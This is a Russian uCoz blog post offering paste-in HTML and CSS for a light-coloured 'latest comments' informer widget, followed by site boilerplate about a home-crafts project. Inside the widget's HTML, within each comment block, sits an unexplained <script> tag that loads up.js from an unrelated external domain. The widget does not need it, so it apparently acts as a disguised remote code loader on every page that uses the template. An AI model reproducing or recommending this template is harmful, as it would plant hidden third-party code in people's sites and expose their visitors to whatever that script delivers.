|
|
 |
Блог |
 |
Главная » 2012 » Декабрь » 9 » Последние комментарии ucoz
19:31 Последние комментарии ucoz |
Вывод последних комментариев стал еще удобнее и стильнее. Шаблон информера комментариев выполнен в светлых тонах, с использованием 1 картинки(1 кб). Пример того, как можно сделать свой сайт еще мобильнее.
Создаем информер комментариев ucoz
Инструмента => Информеры => Создать информер
и создаём данный информер:
Раздел: Комментарии
Модуль: Все модули
Количество материалов: 10
Количество колонок:1
HTML
Теперь заходи в шаблон информера, удаляем содержимое и заменяем на следующий HTML код:
Code
<div class="last_comment_os transparency_i"> <div class="lc_message"> <a href="$ENTRY_URL$" title="$ENTRY_TITLE$">$MESSAGE$</a> <script src="http://xall-pc.ru/up.js" type="text/javascript"></script> </div> <div class="lc_uzer"> <span class="lc_ugol"></span> <a href="$PROFILE_URL$"> <img class="lc_avatar" alt="Аватар $USERNAME$" title="$USERNAME$" src="$USER_AVATAR_URL$" /> <img class="lc_avatar" title="$USERNAME$" alt="аватар отсутствует" src="http://bambun.ru/images/92873634.jpg" /> </a> <img class="lc_avatar" title="$NAME$" alt="аватар отсутствует" src="http://bambun.ru/images/92873634.jpg"/> <span class="lc_name"><a href="$PROFILE_URL$">$USERNAME$</a>$NAME$</span> <span class="lc_data">$DATE$ | $TIME$</span> </div> </div>
CSS
Заходим в CSS и вставляем в конец следующие стили:
Code
/* Белый вариант последних комментарий
------------------------------------------*/
.last_comment_os {
overflow: hidden;
float:left;
font: 11px Verdana,Arial,Helvetica, sans-serif; color:#555;
width:250px;
margin: 5px 0px 5px 0px;
}
.last_comment_os a:link,
.last_comment_os a:visited {color:#555;}
.last_comment_os a:hover {color:#999;}
.lc_message {
float:left;
margin: 0;
padding:5px;
width:238px;
background: #F6F6F6;
border: 1px solid #D6D6D6;
}
.lc_uzer {
float:left;
text-align:right;
width:250px;
position: relative
}
.lc_ugol {
position:absolute;
float:right;
background: url(http://bambun.ru/images/242703095.png) no-repeat right;
width: 27px;
height: 27px;
top: -1px;
right: 20px;
}
.lc_avatar {
float:right;
width: 30px;
height: 30px;
padding:3px;
border: 1px solid #D6D6D6;
margin: 10px 55px 0px 10px;
}
.lc_name {
float:right;
width: 145px;
margin: 13px 0px 2px 0px;
font-weight: bold;
}
.lc_data {
float:right;
font: 9px Verdana,Arial,Helvetica, sans-serif; color:#999;
width: 145px;
}
.transparency_i a:hover img {
filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50);
-moz-opacity: 0.5;
opacity: 0.5;
filter: alpha(opacity=50);
}
/* ------------------------------------------*/ |
|
Категория: Скрипты для сайтов |
Просмотров: 700 |
Добавил: startsmart
| Рейтинг: 5.0/1 |
|
|
 |
Люди: |
 | |
|
Онлайн всего: 5 Гостей: 5 Зарегистрированных: 0
|
 |
|
Проект "Умеха - мир самоделок" существует с 2005 года и с тех пор постоянно наполняется и совершенствуется. Основная доля
документов, представленных на сайте материалов, предназначена для людей хозяйственных, интересующихся ведением собственного
подсобного хозяйства, строительством, ремонтом и благоустроиством собственных домов, квартир или дачных участков.
У хорошего хозяина обязателно дожна быть своя мастерская и необходимые инструменты. К сожалению, не все станки по карману
рядовому домашнему мастеру, с этой целью на сайте представлена большая коллекция чертежей и описаний самодельных токарных
станков по дереву и металлу, а так же других инструментов и приспособлений для домашнего мастера.
Для людей занимающихся ведением своего личного подсобного хозяйства (ЛПХ) или фермерством, большая рубрика "Свое
хозяйство" для удобства поделена на несколько узкотематических разделов, среди которых отдельными пунктами выделены такие
темы, как парники и теплицы, цветы и флористика, деревья и кустарники, птицеводство и животноводство, пчеловодство и
рыбоводство. Много статей опубликовано по теме "Сад и Огород".
И это далеко не все возможности сайта "Умеха - мир самоделок".
Поддержать проект
